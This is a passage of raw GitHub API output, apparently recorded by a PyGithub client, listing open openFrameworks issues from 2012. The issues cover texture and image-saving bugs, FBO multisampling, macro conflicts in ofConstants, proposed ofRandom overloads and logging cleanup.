i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '39838'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a7bfe812cbaa85fbb708d70f4d883fac"'), ('date', 'Tue, 29 May 2012 19:27:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"closed_issues":0,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"html_url":"https://github.com/openframeworks/openFrameworks/issues/970","assignee":null,"title":"0080 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"closed_issues":0,"title":"0074 